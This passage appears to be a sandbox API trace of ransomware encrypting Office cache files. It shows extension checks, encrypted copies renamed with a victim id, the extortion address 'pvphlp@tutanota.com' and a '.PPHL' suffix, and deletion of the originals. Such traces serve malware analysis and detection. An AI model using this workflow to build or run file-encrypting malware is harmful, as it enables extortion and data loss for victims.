lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0074.008] lstrlenW (lpString=".xls") returned 4 [0074.008] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0074.008] lstrlenW (lpString=".xlsx") returned 5 [0074.008] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0074.008] lstrlenW (lpString=".ppt") returned 4 [0074.008] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0074.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0074.008] lstrlenW (lpString=".zip") returned 4 [0074.008] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0074.008] lstrlenW (lpString=".rar") returned 4 [0074.008] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0074.008] lstrlenW (lpString=".bz2") returned 4 [0074.008] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0074.008] lstrlenW (lpString=".7z") returned 3 [0074.008] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0074.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0074.008] lstrlenW (lpString=".dbf") returned 4 [0074.008] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0074.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0074.008] lstrlenW (lpString=".1cd") returned 4 [0074.008] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0074.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0074.008] lstrlenW (lpString=".jpg") returned 4 [0074.008] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0074.008] lstrcmpiW (lpString1=".dll", lpString2=".PPHL") returned -1 [0074.008] lstrlenW (lpString="dwintl20.dll") returned 12 [0074.008] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0074.009] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=107912) returned 1 [0074.009] CloseHandle (hObject=0x1a4) returned 1 [0074.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0074.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.009] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0074.009] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.009] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.009] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0074.010] GetLastError () returned 0x0 [0074.010] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x351fed4*=0x1a588, lpOverlapped=0x0) returned 1 [0074.014] WriteFile (in: hFile=0x20c, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0074.016] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0074.016] WriteFile (in: hFile=0x20c, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0074.016] SetEndOfFile (hFile=0x20c) returned 1 [0074.016] CloseHandle (hObject=0x20c) returned 1 [0074.017] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.017] SetEndOfFile (hFile=0x1a4) returned 1 [0074.018] CloseHandle (hObject=0x1a4) returned 1 [0074.018] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0074.018] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0074.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0074.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0074.019] lstrlenW (lpString=".doc") returned 4 [0074.019] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0074.019] lstrlenW (lpString=".docx") returned 5 [0074.019] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0074.019] lstrlenW (lpString=".pdf") returned 4 [0074.019] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0074.019] lstrlenW (lpString=".xls") returned 4 [0074.020] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0074.020] lstrlenW (lpString=".xlsx") returned 5 [0074.020] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0074.020] lstrlenW (lpString=".ppt") returned 4 [0074.020] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0074.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0074.020] lstrlenW (lpString=".zip") returned 4 [0074.020] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0074.020] lstrlenW (lpString=".rar") returned 4 [0074.020] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0074.020] lstrlenW (lpString=".bz2") returned 4 [0074.020] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0074.020] lstrlenW (lpString=".7z") returned 3 [0074.020] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0074.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0074.021] lstrlenW (lpString=".dbf") returned 4 [0074.021] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0074.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0074.021] lstrlenW (lpString=".1cd") returned 4 [0074.021] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0074.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0074.021] lstrlenW (lpString=".jpg") returned 4 [0074.021] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0074.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0074.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0074.021] lstrlenW (lpString=".doc") returned 4 [0074.021] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0074.021] lstrlenW (lpString=".docx") returned 5 [0074.021] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0074.021] lstrlenW (lpString=".pdf") returned 4 [0074.021] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0074.021] lstrlenW (lpString=".xls") returned 4 [0074.021] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0074.021] lstrlenW (lpString=".xlsx") returned 5 [0074.021] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0074.021] lstrlenW (lpString=".ppt") returned 4 [0074.021] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0074.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0074.021] lstrlenW (lpString=".zip") returned 4 [0074.021] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0074.021] lstrlenW (lpString=".rar") returned 4 [0074.021] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0074.021] lstrlenW (lpString=".bz2") returned 4 [0074.021] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0074.021] lstrlenW (lpString=".7z") returned 3 [0074.021] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0074.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0074.021] lstrlenW (lpString=".dbf") returned 4 [0074.021] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0074.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0074.022] lstrlenW (lpString=".1cd") returned 4 [0074.022] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0074.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0074.022] lstrlenW (lpString=".jpg") returned 4 [0074.022] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0074.022] lstrcmpiW (lpString1=".EXE", lpString2=".PPHL") returned -1 [0074.022] lstrlenW (lpString="DW20.EXE") returned 8 [0074.022] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0074.023] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=838536) returned 1 [0074.023] CloseHandle (hObject=0x1a4) returned 1 [0074.023] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0074.023] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.023] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0074.023] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.023] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.023] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0074.024] GetLastError () returned 0x0 [0074.024] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x351fed4*=0xccb88, lpOverlapped=0x0) returned 1 [0074.061] WriteFile (in: hFile=0x20c, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0074.507] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0074.508] WriteFile (in: hFile=0x20c, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0074.508] SetEndOfFile (hFile=0x20c) returned 1 [0074.508] CloseHandle (hObject=0x20c) returned 1 [0074.508] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.508] SetEndOfFile (hFile=0x1a4) returned 1 [0074.516] CloseHandle (hObject=0x1a4) returned 1 [0074.516] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0074.517] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0074.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0074.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0074.517] lstrlenW (lpString=".doc") returned 4 [0074.517] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0074.517] lstrlenW (lpString=".docx") returned 5 [0074.517] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0074.517] lstrlenW (lpString=".pdf") returned 4 [0074.517] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0074.517] lstrlenW (lpString=".xls") returned 4 [0074.517] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0074.517] lstrlenW (lpString=".xlsx") returned 5 [0074.517] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0074.517] lstrlenW (lpString=".ppt") returned 4 [0074.517] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0074.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0074.517] lstrlenW (lpString=".zip") returned 4 [0074.517] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0074.517] lstrlenW (lpString=".rar") returned 4 [0074.517] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0074.517] lstrlenW (lpString=".bz2") returned 4 [0074.517] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0074.517] lstrlenW (lpString=".7z") returned 3 [0074.517] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0074.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0074.517] lstrlenW (lpString=".dbf") returned 4 [0074.518] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0074.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0074.518] lstrlenW (lpString=".1cd") returned 4 [0074.518] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0074.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0074.518] lstrlenW (lpString=".jpg") returned 4 [0074.518] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0074.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0074.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0074.518] lstrlenW (lpString=".doc") returned 4 [0074.518] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0074.518] lstrlenW (lpString=".docx") returned 5 [0074.518] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0074.518] lstrlenW (lpString=".pdf") returned 4 [0074.518] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0074.518] lstrlenW (lpString=".xls") returned 4 [0074.518] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0074.519] lstrlenW (lpString=".xlsx") returned 5 [0074.519] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0074.519] lstrlenW (lpString=".ppt") returned 4 [0074.519] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0074.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0074.519] lstrlenW (lpString=".zip") returned 4 [0074.519] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0074.519] lstrlenW (lpString=".rar") returned 4 [0074.519] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0074.519] lstrlenW (lpString=".bz2") returned 4 [0074.519] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0074.519] lstrlenW (lpString=".7z") returned 3 [0074.519] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0074.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0074.519] lstrlenW (lpString=".dbf") returned 4 [0074.519] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0074.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0074.519] lstrlenW (lpString=".1cd") returned 4 [0074.519] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0074.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0074.519] lstrlenW (lpString=".jpg") returned 4 [0074.519] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0074.519] lstrcmpiW (lpString1=".exe", lpString2=".PPHL") returned -1 [0074.519] lstrlenW (lpString="dwtrig20.exe") returned 12 [0074.519] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0074.520] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=519584) returned 1 [0074.520] CloseHandle (hObject=0x1a4) returned 1 [0074.520] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0074.520] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.520] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0074.520] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.520] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.520] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0075.285] GetLastError () returned 0x0 [0075.285] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x351fed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0075.331] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0076.095] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.095] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.096] SetEndOfFile (hFile=0x1bc) returned 1 [0076.196] CloseHandle (hObject=0x1bc) returned 1 [0076.197] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.197] SetEndOfFile (hFile=0x1a4) returned 1 [0076.201] CloseHandle (hObject=0x1a4) returned 1 [0076.201] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0076.201] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0076.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.659] lstrlenW (lpString=".doc") returned 4 [0076.660] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0076.660] lstrlenW (lpString=".docx") returned 5 [0076.660] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0076.660] lstrlenW (lpString=".pdf") returned 4 [0076.660] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0076.660] lstrlenW (lpString=".xls") returned 4 [0076.660] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0076.660] lstrlenW (lpString=".xlsx") returned 5 [0076.660] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0076.660] lstrlenW (lpString=".ppt") returned 4 [0076.660] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0076.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.660] lstrlenW (lpString=".zip") returned 4 [0076.660] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0076.660] lstrlenW (lpString=".rar") returned 4 [0076.660] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0076.660] lstrlenW (lpString=".bz2") returned 4 [0076.660] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0076.660] lstrlenW (lpString=".7z") returned 3 [0076.660] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0076.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.660] lstrlenW (lpString=".dbf") returned 4 [0076.660] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0076.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.660] lstrlenW (lpString=".1cd") returned 4 [0076.660] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0076.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.661] lstrlenW 